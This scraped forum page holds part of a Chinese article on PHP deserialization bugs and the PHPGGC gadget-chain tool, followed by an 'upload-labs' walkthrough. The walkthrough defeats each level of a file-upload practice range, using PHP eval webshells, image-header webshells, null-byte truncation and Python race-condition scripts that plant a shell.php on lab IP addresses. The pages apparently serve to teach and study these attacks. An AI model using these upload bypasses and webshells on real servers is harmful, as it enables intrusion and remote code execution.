$a = new Test('shell');
$poc = serialize($a);
print($poc);

运行该脚本,我们就获得了我们poc

通上文所说道的,在这里需要改两个地方:
将1改为大于1的任何整数
将Testpoc改为Testpoc
传入修改后的poc,即可看到:

写文件操作执行成功。
 
0x05 拓展思路
  1. 抛砖引玉——魔法函数可能造成的威胁
刚刚想到这一点的时候准备好好研究一下,没想到p师傅第二天小密圈就放出来这个话题了。 接下来顺着这个思路,我们向下深挖一下。
__toString()
经过上面的总结,我们不难看出,PHP中反序列化导致的漏洞中,除了利用PHP本身的漏洞以外,我们通常会寻找__destruct、__wakeup、__toString等方法,看看这些方法中是否有可利用的代码。
而由于惯性思维,__toString常常被漏洞挖掘者忽略。 其实,当反序列化后的对象被输出在模板中的时候(转换成字符串的时候),就可以触发相应的漏洞。
__toString触发条件:
echo ($obj) / print($obj) 打印时会触发
字符串连接时
格式化字符串时
与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
格式化SQL语句,绑定参数时
数组中有字符串时
我们来写一个demo看一下
toString_demo.php
<?php
class toString_demo
{
private $test1 = 'test1';
public function __construct($test)
{
$this->test1 = $test;
}
public function __destruct()
{
// TODO: Implement __destruct() method.
print "__destruct:";
print $this->test1;
print "n";
}
public function __wakeup()
{
// TODO: Implement __wakeup() method.
print "__wakeup:";
$this->test1 = "wakeup";
print $this->test1."n";
}
public function __toString()
{
// TODO: Implement __toString() method.
print "__toString:";
$this->test1 = "tosTRING";
return $this->test1."n";
}
}
$a = new toString_demo("demo");
$b = serialize($a);
$c = unserialize($b);
//print "n".$a."n";
//print $b."n";
print $c;

执行结果为下:

通过上面的测试,可以总结以下几点:
echo ($obj) / print($obj) 打印时会触发
__wakeup的优先级>__toString>__destruct
每执行完一个魔法函数,
接下来从两个方面继续来深入:
字符串操作
魔术函数的优先级可能造成的变量覆盖
字符串操作
字符串拼接:
在字符串与反序列化后的对象与字符串进行字符串拼接时,会触发__toString方法。

字符串函数:
经过测试,当反序列化后的最想在经过php字符串函数时,都会执行__toString方法,从这一点我们就可以看出,__toString所可能造成的安全隐患。
下面举几个常见的函数作为例子(所使用的类还是上面给出的toString_demo类):


数组操作
将反序列化后的对象加入到数组中,并不会触发__toString方法:

但是在in_array()方法中,在数组中有__toString返回的字符串的时候__toString会被调用:

class_exists
从in_array()方法中,我们又有了拓展性的想法。 我们都知道,在php底层,类似于in_array()这类函数,都属于先执行,之后返回判断结果。 那么顺着这个想法,我想到了去年的IPS Community Suite &lt;= 4.1.12.3 Autoloaded PHP远程代码执行漏洞, 这个漏洞中有一个非常有意思的触发点,就是通过class_exists造成相关类的调用,从而触发漏洞。 
通过测试,我们发现了,如果将反序列化后的对象带入class_exists()方法中,同样会造成__toString的执行:

  1. 猜想——对象处理过程可能出现的威胁
通过class_exists可能触发的危险操作,继续向下想一下,是否在对象处理过程中也有可能存在漏洞呢?
还记的去年爆出了一个 PHP GC算法和反序列化机制释放后重用漏洞 ,是垃圾回收机制本身所出现的问题,在释放与重用的过程中存在的问题。 
顺着这个思路,大家可以继续在对象创建、对象执行、对象销毁方面进行深入的研究。
 
0x06 PHPggc
在0x04的第二节中,我们提到了cms在引用某些依赖库时,可能存在(反)序列化漏洞。 那么是否有工具可以生成这些通用型漏洞的测试向量呢?
当然是存在的。 在github上我们找到了PHPggc这个工具,它可以快速的生成主流框架的序列化测试向量。 
关于该测试框架的一点简单的分析
  1. 目录结构
目录结构为下:
|- phpggc 
|-- gadgetchains // 相应框架存在漏洞的类以及漏洞利用代码
|-- lib // 框架调度及核心代码
|-- phpggc // 入口
|-- README.md

  1. 框架运行流程
首先,入口文件为phpggc,直接跟进lib/PHPGGC.php框架核心文件。
在__construct中完成了当前文件完整路径的获取,以及定义自动加载函数,以实现对于下面的类的实例化操作。
关键的操作为:
$this->gadgets = $this->get_gadget_chains();


可以跟进代码看一看,其完成了对于所有payload的加载及保存,将所有的payload进行实例化,并保存在一个全局数组中,以方便调用。
可以动态跟进,看一下:
public function get_gadget_chains()
{
$this->include_gadget_chains();
$classes = get_declared_classes();
$classes = array_filter($classes, function($class)
{
return is_subclass_of($class, '\PHPGGC\GadgetChain') &&
strpos($class, 'GadgetChain\') === 0;
});
$objects = array_map(function($class)
{
return new $class();
}, $classes);
# Convert backslashes in classes names to forward slashes,
# so that the command line is easier to use
$classes = array_map(function($class)
{
return strtolower(str_replace('\', '/', $class));
}, $classes);
return array_combine($classes, $objects);
}

跟进include_gadget_chains方法中看一下:
protected function include_gadget_chains()
{
$base = $this->base . self::DIR_GADGETCHAINS;
$files = glob($base . '/[i]/[/i]/*/chain.php');
array_map(function ($file)
{
include_once $file;
}, $files);
}

在这边首先获取到当前路径,之后从根目录将其下子目录中的所有chain.php遍历一下,将其路劲存储到$files数组中。 接着将数组中的所有chain.php包含一遍,保证之后的调用。
回到get_gadget_chains接着向下看,将返回所有已定义类的名字所组成的数组,将其定义为$classes,接着将是PHPGGCGadgetChain子类的类,全部筛选出来(也就是将所有的payload筛选出来) ,并将其实例化,在其完成格式化后,返回一个由其名与实例化后的类所组成的键值数组。
到此,完成了最基本框架加载与类的实例化准备。
跟着运行流程,看到generate方法:
public function generate()
{
global $argv;
$parameters = $this->parse_cmdline($argv);
if(count($parameters) < 1)
{
$this->help();
return;
}
$class = array_shift($parameters);
$gc = $this->get_gadget_chain($class);
$parameters = $this->get_type_parameters($gc, $parameters);
$generated = $this->serialize($gc, $parameters);
print($generated . "n");
}

代码很简单,一步一步跟着看,首先parse_cmdline完成了对于所选模块及附加参数的解析。
接下来array_shift完成的操作就是将我们所选的模块从数组中抛出来。
举个例子,比如我们输入如下:
$ ./phpggc monolog/rce1 'phpinfo();'

当前的$class为monolog/rce1,看到接下来进入了get_gadget_chain方法中,带着我们参数跟进去看。
public function get_gadget_chain($class)
{
$full = strtolower('GadgetChain/' . $class);
if(!in_array($full, array_keys($this->gadgets)))
{
throw new PHPGGCException('Unknown gadget chain: ' . $class);
}
return $this->gadgets[$full];
}

现在的$full为gadgetchain/monolog/rce1,ok,看一下我们全局存储的具有payload的数组:

可以很清楚的看到,返回了一个已经实例化完成的GadgetChainMonologRCE1的类。 对应的目录则为/gadgetchains/Monolog/RCE/1/chain.php
继续向下,看到将类与参数传入了get_type_parameters,跟进:
protected function get_type_parameters($gc, $parameters)
{
$arguments = $gc->parameters;
$values = @array_combine($arguments, $parameters);
if($values === false)
{
$this->o($gc, 2);
$arguments = array_map(function ($a) {
return '<' . $a . '>';
}, $arguments);
$message = 'Invalid arguments for type "' . $gc->type . '" ' . "n" .
$this->_get_command_line($gc->get_name(), ...$arguments);
throw new PHPGGCException($message);
}
return $values;
}

其完成的操作对你想要执行或者写入的代码进行装配,即code标志位与你输入的RCE代码进行键值匹配。 若未填写代码,则返回错误,成功则返回相应的数组以便进行payload的序列化。
看完了这个模块后,再看我们最后的一个模块:将RCE代码进行序列化,完成payload的生成:
public function serialize($gc, $parameters)
{
$gc->load_gadgets();
$parameters = $gc->pre_process($parameters);
$payload = $gc->generate($parameters);
$payload = $this->wrap($payload);
$serialized = serialize($payload);
$serialized = $gc->post_process($serialized);
$serialized = $this->apply_filters($serialized);
return $serialized;
}

 
0x07 结语
关于PHP(反)序列化漏洞的触发和利用所涉及的东西还有很多,本文只是做一个概括性的描述,抛砖引玉,如有不精确的地方,望大家给予更正。
 
0x08 参考资料
Practical PHP Object Injection
SugarCRM 6.5.23 – REST PHP Object Injection漏洞分析
CVE-2016-7124
PHPGGC
关于PHP中的自动加载类
Phith0n小密圈的主题
 
原文来自安全客、原文作者:Lucifaer@360攻防实验室
原文链接:https://www.anquanke.com/post/id/86452

upload-labs通关教程(已完结)

lawliet 发表了文章 • 3 个评论 • 1568 次浏览 • 2018-06-12 01:36 • 来自相关话题


最近在圈子里看到的一个文件上传闯关靶场,一共有19关,趁着这个机会做一个教程,以下的内容只是自己的思路,绕过方法应该有很多种,欢迎大家一起交流,共同学习!

靶场环境
因为环境的不同导致上传的绕过方法也会不同,在这里说明我搭建的环境信息:1-18关,操作系统为windows,使用的phpstudy的集成环境,apache版本为2.4.23,所以apache2.2.x的解析漏洞在该环境下不管用,php版本为5.2.17,apache配置文件没有修改过,是默认的配置文件

第一关





第一关的上传过滤只是在客户端进行过滤的,js对文件后缀名做了白名单限制,任何前端的验证都不算是真正的验证,在这里我使用了4种方式去绕过,这些方法都是绕过前端验证的常用方法 1.firebug查看元素,将这里的表单的onsubmit事件删除,这样提交表单时便不会触发验证函数










再次上传php就能上传










2.firebug控制台重新写一个和过滤函数名字一样的函数,使函数return true,覆盖之前的检查函数










之后上传php也能上传成功





3.在火狐浏览器中禁用js,在地址栏输入about:config,查找javascript,将javascript.enabled的类型改为false,默认值为true





禁用了js后就能绕过前端检测上传php了
4.先上传允许的后缀名绕过前端检测,之后burp抓包,在发往服务端的过程中将后缀名再修改为php










从而绕过了前端验证





第二关

第二关是在服务端做了验证,代码层对文件的MIME类型进行了检查,为了方便理解原理,可以看一下后端的检查代码if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '文件类型不正确,请重新上传!';
}有关这种场景的绕过方法,使用burp抓包,修改文件上传的content-type类型为白名单允许的图片MIME类型即可





然后就可以绕过检测上传成功了










第三关&第四关

第三关的本意其实是想上传一些后缀名为php、php2、php3、php5、phtml等文件去绕过黑名单的,但是apache的配置文件里并没有配置将这些后缀的文件当做php解析





第三关第四关都是黑名单检测,但是在这里黑名单里都没有对.htacess做限制,所以这两关都可以上传.htaccess去绕过,.htaccess文件的内容如下<FilesMatch "tony">
SetHandler application/x-httpd-php
</FilesMatch>我们将这样一个.htaccess文件上传到服务器上传目录,这样的话,当apache在解析该目录下的php时,就会按照.htaccess中的要求去解析,只要匹配到了文件名里有tony这个字符串,就会把该文件当成php文件解析首先上传这样的一个.htaccess文件





.htaccess可以上传成功





接着上传一个黑名单里没有过滤的随意后缀名文件,但是文件名里要有tony,上传一个tony.jpg,内容为一句话木马





上传成功,并且tony.jpg会被apache当成php文件解析










第四关也是同样的方法
第五关
第五关在第四关的黑名单中又加进了.htaccess,所以上传.htaccess这个思路没戏了$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");可以看看过滤内容,过滤的还挺多,这里apache版本为2.4.23,所以apache文件名(x.php.xxx)解析漏洞不能在这用

并且在做该黑名单检查之前将上传文件后的.和空格字符都给删除了$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}这样做是为了防止用户上传是在后缀名后加上.和空格去绕过黑名单,windows在创建文件时会删除后缀名后的.和空格,并且后缀名为php.的文件也是可以当作php解析的(windows和linux环境都可以)

同时对文件名后缀名大小写写做了检查,防止大小写绕过

但是通过代码发现在黑名单检查之前处理文件名时只删除了一次.,于是可以上传一个后缀名为php. .的文件去绕过,这个在黑名单检查之前后缀名就会被处理为php.




可以看到成功绕过了上传检测










第六关

查看过滤代码$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}相对于第五关的过滤还少了一些,相同的黑名单,但是相比于第五关,这里仅仅删除了文件名后的.,并没有删除空格,所以可以上传一个后缀名为php+空格的文件去绕过黑名单,windows在创建文件时会自动删掉最后的空格





可以看到成功绕过这里的上传检测










第七关

第六关仅仅将文件名后面的点删除了,第七关则是仅仅将文件名后的空格给删除了,这里通过上传后缀名为php.的文件来绕过黑名单





成功绕过黑名单上传










第八关和第五关一样,虽然在黑名单检查之前将文件名后的.和空格给删除了,但是.只删除了一次,这里同样使用后缀名php. .去绕过第九关

一样的问题,所以继续用第八关的方法去绕过上传

第十关

尝试上传后缀名php的文件,看到可以上传成功,不过后缀名php被删除了





后缀名改为大写PHP上传,同样给删除了










猜想后台使用str_ireplace函数将文件后缀为黑名单的都给删除了,查看过滤代码确实如此$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
$is_upload = true;
}因为str_ireplace函数只做一次替换,所以使用pphphp后缀名就能绕过





可以看到成功上传php










第十一关

采用的防御手法是白名单过滤,只允许上传jpg、png和gif类型,并且将上传的文件给重命名为了白名单中的后缀$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上传失败!';
}处理上传文件的方式$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;看起来这样防御并没有什么问题,但是这一关上传目录是可控的所以可以先上传一个后缀名为jpg,内容为一句话木马的文件,然后修改上传目录为.php后缀,之后在.php后使用截断后面的拼接内容,注意这里需要关掉magic_quotes_gpc这个php扩展,否则00会被转义$_GET['save_path']这里使用00截断."/".rand(10, 99).date("YmdHis").".".$file_ext;注意这里的00字符因为在url的GET参数中,所以需用进行url编码





通过这种方法就可以成功绕过十一关的上传检测










第十二关

同样是上传路径可以控制,不同的是这里的路径是以POST参数传递的,同样的这里在目录后面使用00截断















可以看到成功绕过上传










第十三关&第十四关&第十五关

任务和之前的不同,这里只需要成功上传图片马,并且图片马里有完整的webshell即可

对于第十三关第十四关和第十五关这三关都是对文件幻数进行了检测,只不过第十四关使用的是getimagesize函数,第十五关使用的是exif_imagetype函数,函数返回值内容不一样而已

要想突破文件幻数检测,首先要了解jpg、png、gif这三种文件的头部格式,每种类型的图片内容最开头会有一个标志性的头部,这个头部被称为文件幻数。

jpg文件头部格式





文件头值为FFD8FFE000104A464946 png文件头格式,网上大部分资料写的都是89504E47,但是经过我的测试,这四个16进制是仅仅不够的,如果只是89504E47的话,会使getimagesize函数和exif_imagetype函数报错















经过我的测试真正的文件头值应该是89504E470D0A1A0A





gif文件头格式






文件头值为474946383961经过测试,getimagesize函数和exif_imagetype函数都只是是对文件头进行检查,只要文件头部符合函数就会返回内容<?php
echo "check jpg</br>";
echo "getimagesize function return:</br>";
var_dump(getimagesize("heishacker.jpg"));
echo "exif_imagetype function return:</br>";
var_dump(exif_imagetype("heishacker.jpg"));
echo "</br>check png</br>";
echo "getimagesize function return:</br>";
var_dump(getimagesize("mingren.png"));
echo "exif_imagetype function return:</br>";
var_dump(exif_imagetype("mingren.png"));
echo "</br>check gif</br>";
echo "getimagesize function return:</br>";
var_dump(getimagesize("xiangtian.gif"));
echo "exif_imagetype function return:</br>";
var_dump(exif_imagetype("xiangtian.gif"));
?>




所以这几关都可以上传图片马,图片马的文件头就是正常图片的文件头格式,从而绕过图片幻数检测windows下图片马制作方式copy x.jpg|png|gif/b+x.php/a x.jpg|png|gif参数/b指定以二进制格式复制、合并文件(图片),参数/a指定以ASCII格式复制、合并文件(php文件),x.php文件里为要写的一句话木马这三关都可以成功上传图片马,并且里面有完整的一句话木马,但是有时候图片马里面的一些字符会使php报错,导致用文件包含或者解析漏洞去解析图片马中的php时导致解析不了,可以看到利用文件包含去解析三个图片马时均不能解析,哎,运气太差















而且有时候对文件大小也有限制,所以绕过文件幻数最合适的方式是利用16进制编辑器自己制作一个伪图片马,这里利用winhex分别创建shell.jpg、shell.png、shell.gif三个伪图片马















之后上传这三个伪图片马,这样不光可以上传成功,也可以利用文件包含漏洞或解析漏洞解析成功






























这三关均可以采用这种方式通关,第十五关需要在php配置文件中开启php的php_exif扩展





第十六关$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=$UPLOAD_ADDR.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagejpeg($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagepng($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagegif($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}通过第十六关的php代码可以看到对文件后缀名和MIME类型进行了检查,而且用到了php的imagecreatefromjpeg、imagecreatefrompng、imagecreatefromgif这几个图片处理函数对上传的图片进行了二次渲染生成了新的图片,所以如果在这里上传的是一个普通的图片马,虽然图片马可以上传成功,但是上传的图片马在经过二次渲染后,图片尾部的php代码就会被删除掉,所以在这里不能使用直接在图片尾部添加一句话木马的方式去合成图片马。但是这一关的代码有一个明显的逻辑漏洞,如果这几个二次渲染函数处理的不是一个图片,就会使这几个函数报错,因为这几个二次渲染的函数只会去处理一个图片内部格式正确的图片,所以在这里只需要上传一个后缀名为jpg、png、gif的一句话木马,这样的话上传的一句话木马会绕过后缀名和MIME类型的检查,通过move_uploaded_file上传至服务器,但是遇到二次渲染时,由于上传的不是一个真正的图片,所以二次渲染函数在处理时会因为图片的内部格式报错,从而突破了对图片的二次渲染,这时候页面虽然会显示图片格式不允许,但是上传的一句话木马已经上传到了服务器

分别上传后缀名为jpg、png、gif的一句话木马,可以看到虽然上传的格式不允许,但是一句话马已经上传成功了















以上只是单单针对这道题,那么如何真正的使用图片马突破二次渲染呢?可以看到如果直接使用在图片添加一句话木马的图片马上传的话,在二次渲染后一句话会被删除,导致图片马不能利用按照一般的方法制作三种图片马





但是经过二次渲染后图片尾部的php代码均被删除

尝试制作可以真正突破二次渲染的函数,这里可以通过十六进制编辑器查看比较上传前后图片的十六进制 ,找到二次渲染前后十六进制内容没有改变的部分,尝试将图片马写到这些没有改变的部分自己对图片的16进制格式不是太理解,导致只制作出来了突破二次渲染的gif图片马,jpg和png都制作失败了,以后有时间再去研究










将相同的部分(全00)替换为一句话木马,运气比较好,图片并没有损坏,而且绕过了二次渲染,并且没有报php语法错误





但是jpg和png就不一样了,出现了很多问题,暂时还没有制作出真正图片二次渲染的jpg、png图片马
第十七关

要求上传一个webshell到服务器,提示需要代码审计,查看php源代码$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = $UPLOAD_ADDR . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传失败!';
}
}通过php代码可以看到对上传的文件后缀做了白名单限制,如果上传的文件后缀如果不是jpg、png、gif的话就会被删除掉。但是这里可以使用竞争上传的方式去突破,同时使用多个进程去上传php文件,php文件的内容是向服务器目录下写一个webshell,之后不断去去访问上传的php文件,如果在删除该php文件之前访问到了该php文件,就会向服务器目录写一个webshell,用python去实现多进程上传#coding=utf-8
import requests
from multiprocessing import Pool
def CompeteUpload(list):
url="http://192.168.242.128/upload-labs/Pass-17/index.php"
geturl="http://192.168.242.128/upload-labs/upload/info.php"
file={'upload_file':('info.php',"<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[ironman]);?>');?>",'image/jpeg')}
data={'submit':'上传'}
r=requests.post(url=url,data=data,files=file)
#print "test upload...."
r1=requests.get(url=geturl)
if r1.status_code==200:
print "upload success!"
if __name__=="__main__":
pool = Pool(10)
pool.map(CompeteUpload, range(10000))
pool.close()
pool.join()可以看到通过多进程同时上传时可以成功在文件删除之前访问到该文件
在服务器目录下可以看到成功写入shell.php









第十八关
 apache2.4.x的环境下暂时还未找到绕过方法,在apache2.2.x的环境下可以通过条件竞争加上apache2.2.x解析漏洞去绕过,这一关的要求是上传一个webshell到服务器,题目提示说需要代码审计,那么首先来看代码:

重要代码部分如下://index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload($UPLOAD_ADDR);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );

}
......
......
......
};分析一下代码的执行过程,首先使用$_FILES['upload_file']['name']接收文件名,然后获取文件后缀名进行白名单检查,需要注意的是这里使用的strrchr函数去截取后缀名的,所以获取到的是最后一个点后面的后缀名。如果后缀名不在白名单内的话就会提示上传失败,否则就会将文件使用rename函数重命名后上传至指定的目录,比如上传的是shell.php.xxx,shell.php会被重命名,导致最终文件命名变为xxxx.jpg而无法解析,所以这里同样需要使用竞争上传的方式,在重命名之前将文件上传至服务器,之后再结合apache2.2.x的解析漏洞使文件被解析,所以这里可以构造文件名为shell.php.7z

贴出我写的上传脚本#coding=utf-8
import requests
from multiprocessing import Pool
def CompeteUpload(list):
url="http://192.168.233.130:8080/upload-labs/Pass-18/index.php"
geturl="http://192.168.233.130:8080/upload-labs/upload/info.php"
file={'upload_file':('shell.php.7z',"<?php @eval($_POST['c1imber']);?>",'image/jpeg')}
data={'submit':'上传'}
r=requests.post(url=url,data=data,files=file)
#print "test upload...."
r1=requests.get(url=geturl)
if r1.status_code==200:
print "upload success!"
if __name__=="__main__":
pool = Pool(10)
pool.map(CompeteUpload, range(10000))
pool.close()
pool.join()
成功上传
第十九关
代码如下:$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {
$is_upload = true;
}else{
$msg = '上传失败!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
这一关和第11关类似,只不过这一关的路径部分是由[b]$_POST[/b]控制的,而第十一关是由[b]$_GET[/b]控制的,不过原理都是一样的,这样会导致00字符可以被拼接入文件路径内,进而被传入[b]move_uploaded_file[/b]函数内,然后该函数在将临时文件移动至指定路径的时候将会产生00截断上传(CVE-2015-2348)
所以这里可以设置文件名为[b]shell.php .jpg[/b],然后在空格处进行00截断

之后就可以上传成功了 查看全部

最近在圈子里看到的一个文件上传闯关靶场,一共有19关,趁着这个机会做一个教程,以下的内容只是自己的思路,绕过方法应该有很多种,欢迎大家一起交流,共同学习!

靶场环境
因为环境的不同导致上传的绕过方法也会不同,在这里说明我搭建的环境信息:1-18关,操作系统为windows,使用的phpstudy的集成环境,apache版本为2.4.23,所以apache2.2.x的解析漏洞在该环境下不管用,php版本为5.2.17,apache配置文件没有修改过,是默认的配置文件

第一关

0.png

第一关的上传过滤只是在客户端进行过滤的,js对文件后缀名做了白名单限制,任何前端的验证都不算是真正的验证,在这里我使用了4种方式去绕过,这些方法都是绕过前端验证的常用方法 1.firebug查看元素,将这里的表单的onsubmit事件删除,这样提交表单时便不会触发验证函数

0.png


0.png

再次上传php就能上传

0.png


0.png

2.firebug控制台重新写一个和过滤函数名字一样的函数,使函数return true,覆盖之前的检查函数

0.png


0.png

之后上传php也能上传成功

0.png

3.在火狐浏览器中禁用js,在地址栏输入about:config,查找javascript,将javascript.enabled的类型改为false,默认值为true

0.png

禁用了js后就能绕过前端检测上传php了
4.先上传允许的后缀名绕过前端检测,之后burp抓包,在发往服务端的过程中将后缀名再修改为php

0.png


0.png

从而绕过了前端验证

0.png

第二关

第二关是在服务端做了验证,代码层对文件的MIME类型进行了检查,为了方便理解原理,可以看一下后端的检查代码
